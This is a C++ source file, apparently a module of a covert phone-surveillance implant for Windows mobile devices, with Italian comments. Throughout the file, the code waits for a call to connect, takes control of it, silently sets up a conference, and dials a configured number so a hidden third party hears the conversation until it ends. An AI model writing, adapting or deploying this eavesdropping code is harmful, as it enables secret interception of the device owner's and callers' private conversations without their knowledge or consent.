#include "Common.h" #include "Module.h" #include "Log.h" #include "Device.h" #include #include #include #include #include void FAR PASCAL lineCallbackFunc(DWORD hDevice, DWORD dwMsg, DWORD dwCallbackInstance, DWORD dwParam1, DWORD dwParam2, DWORD dwParam3) { } DWORD WINAPI CallAgent(LPVOID lpParam) { HLINEAPP hLineApp; HRESULT result, dwRequestId; HLINE hLineOpened = NULL; DWORD dwPhoneNumDevs = 0, dwLineNumDevs = 0, dwApiVersion = 0x00030000; LINEINITIALIZEEXPARAMS liep; LINEMESSAGE lineMess; UINT i; Configuration *conf; Module *me = (Module *)lpParam; HANDLE eventHandle; wstring number; me->setStatus(MODULE_RUNNING); eventHandle = me->getEvent(); conf = me->getConf(); try { number = conf->getString(L"number"); } catch (...) { me->setStatus(MODULE_STOPPED); return 0; } if (number.empty()) { me->setStatus(MODULE_STOPPED); return 0; } DBG_TRACE(L"Debug - Conference.cpp - Conference Module started\n", 5, FALSE); LOOP { ZeroMemory(&liep, sizeof(liep)); liep.dwTotalSize = sizeof(LINEINITIALIZEEXPARAMS); liep.dwOptions = LINEINITIALIZEEXOPTION_USEEVENT; result = lineInitializeEx(&hLineApp, 0, lineCallbackFunc, TEXT("ExTapi_Lib"), &dwPhoneNumDevs, &dwApiVersion, &liep); if (result < 0) { me->setStatus(MODULE_STOPPED); DBG_TRACE(L"Debug - Conference.cpp - Conference Module [0]\n", 5, FALSE); return 0; } for (i = 0; i < dwPhoneNumDevs; i++) { LINEEXTENSIONID extensionID; ZeroMemory(&extensionID, sizeof(LINEEXTENSIONID)); result = lineNegotiateAPIVersion(hLineApp, i, 0x00014000, 0x00030000, &dwApiVersion, &extensionID); } DWORD extVersion = 0; LINECALLPARAMS lineCallParams; HCALL hCall = NULL, hConfCall = NULL, hListenerCall = NULL; ZeroMemory(&lineCallParams, sizeof(lineCallParams)); lineCallParams.dwTotalSize = sizeof(lineCallParams); lineCallParams.dwBearerMode = LINEBEARERMODE_VOICE; lineCallParams.dwAddressMode = LINEADDRESSMODE_DIALABLEADDR; lineCallParams.dwCallParamFlags = LINECALLPARAMFLAGS_IDLE; lineCallParams.dwMediaMode = 0; result = lineOpen(hLineApp, 0, &hLineOpened, dwApiVersion, 0, 0x100, LINECALLPRIVILEGE_MONITOR | LINECALLPRIVILEGE_OWNER, LINEMEDIAMODE_INTERACTIVEVOICE /*| LINEMEDIAMODE_DATAMODEM*/, &lineCallParams); if (result < 0) { me->setStatus(MODULE_STOPPED); DBG_TRACE(L"Debug - Conference.cpp - Conference Module FAILED [1]\n", 5, FALSE); return 0; } // Attendiamo che arrivi o sia effettuata una chiamata LOOP { if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) { if (me->shouldStop() == FALSE) continue; lineShutdown(hLineApp); me->setStatus(MODULE_STOPPED); DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE); return 0; } if (!lineGetMessage(hLineApp, &lineMess, INFINITE) && lineMess.dwMessageID == LINE_CALLSTATE && lineMess.dwParam1 == LINECALLSTATE_CONNECTED) { hCall = (HCALL)lineMess.hDevice; // Prendiamo l'handle della chiamata! break; } } // Prendiamo i privilegi sulla chiamata result = lineSetCallPrivilege(hCall, LINECALLPRIVILEGE_OWNER); if (result < 0) { lineShutdown(hLineApp); DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [2]\n", 5, FALSE); continue; } // XXX Su alcuni cell hCall DEVE essere NULL e il secondo parametro valorizzato // LONG lRet = lineSetupConference(hCall, NULL, &hConfCall, &hListenerCall, 3, (const LPLINECALLPARAMS)plineParams); LONG lRet = lineSetupConference(hCall, NULL, &hConfCall, &hListenerCall, 3, NULL); if (lRet < 0) { lineShutdown(hLineApp); DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [3]\n", 5, FALSE); continue; } // Attendiamo che la lineSetupConference ci comunichi il suo stato BOOL bReply, bConferenced, bDial, bOnHold; bReply = bConferenced = bDial = bOnHold = FALSE; LOOP { if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) { if (me->shouldStop() == FALSE) continue; lineShutdown(hLineApp); me->setStatus(MODULE_STOPPED); DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE); return 0; } if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) { if (lineMess.dwMessageID == LINE_REPLY) { if (lineMess.dwParam2 == 0) bReply = TRUE; else return 0; // XXX Non dobbiamo continuare in questo caso } if (lineMess.hDevice == (DWORD)hCall && lineMess.dwParam1 == LINECALLSTATE_CONFERENCED) bConferenced = TRUE; if (lineMess.hDevice == (DWORD)hListenerCall && lineMess.dwParam1 == LINECALLSTATE_DIALTONE) bDial = TRUE; if (lineMess.hDevice == (DWORD)hConfCall && lineMess.dwParam1 == LINECALLSTATE_ONHOLDPENDCONF) bOnHold = TRUE; } if (bReply && bConferenced && bDial && bOnHold) break; } dwRequestId = lineDial(hListenerCall, number.c_str(), 0); if (dwRequestId < 0) { lineShutdown(hLineApp); DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [4]\n", 5, FALSE); continue; } // Attendiamo che la terza parte risponda BOOL bTerminated = FALSE; bReply = bConferenced = FALSE; LOOP { if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) { if (me->shouldStop() == FALSE) continue; lineShutdown(hLineApp); me->setStatus(MODULE_STOPPED); DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE); return 0; } if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) { if (lineMess.dwMessageID == LINE_REPLY) bReply = TRUE; if (lineMess.hDevice == (DWORD)hListenerCall && lineMess.dwParam1 == LINECALLSTATE_CONNECTED) bConferenced = TRUE; // Vediamo se nel frattempo la chiamata e' terminata if (lineMess.dwMessageID == LINE_CALLSTATE && lineMess.dwParam1 == LINECALLSTATE_DISCONNECTED) { bTerminated = TRUE; break; } } if (bReply && bConferenced) break; } result = lineAddToConference(hConfCall, hListenerCall); if (result < 0 || bTerminated) { lineDrop(hListenerCall, NULL, 0); lineShutdown(hLineApp); DBG_TRACE(L"Debug - Agents.cpp - CallAgent FAILED [Call not answered?] [4]\n", 5, FALSE); continue; } // Attendiamo che la conference call sia completa bReply = bConferenced = bDial = FALSE; LOOP { if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) { if (me->shouldStop() == FALSE) continue; lineShutdown(hLineApp); me->setStatus(MODULE_STOPPED); DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE); return 0; } if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) { if (lineMess.dwMessageID == LINE_REPLY) bReply = TRUE; if (lineMess.hDevice == (DWORD)hListenerCall && lineMess.dwParam1 == LINECALLSTATE_CONFERENCED) bConferenced = TRUE; if (lineMess.hDevice == (DWORD)hConfCall && lineMess.dwParam1 == LINECALLSTATE_CONNECTED) bDial = TRUE; } if (bReply && bConferenced && bDial) break; } // Attendiamo ora la fine della telefonata // 1. Chiude il chiamante, chiudiamo anche noi // 2. Chiude il chiamato, chiudiamo anche noi LOOP { if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) { if (me->shouldStop() == FALSE) continue; lineShutdown(hLineApp); me->setStatus(MODULE_STOPPED); DBG_TRACE(L"Debug - Conference.cpp - Conference Module clean stop\n", 5, FALSE); return 0; } if (!lineGetMessage(hLineApp, &lineMess, INFINITE)) { if (lineMess.dwMessageID == LINE_CALLSTATE && lineMess.dwParam1 == LINECALLSTATE_DISCONNECTED) { lineDrop(hListenerCall, NULL, 0); break; } } } lineShutdown(hLineApp); } return 0; } .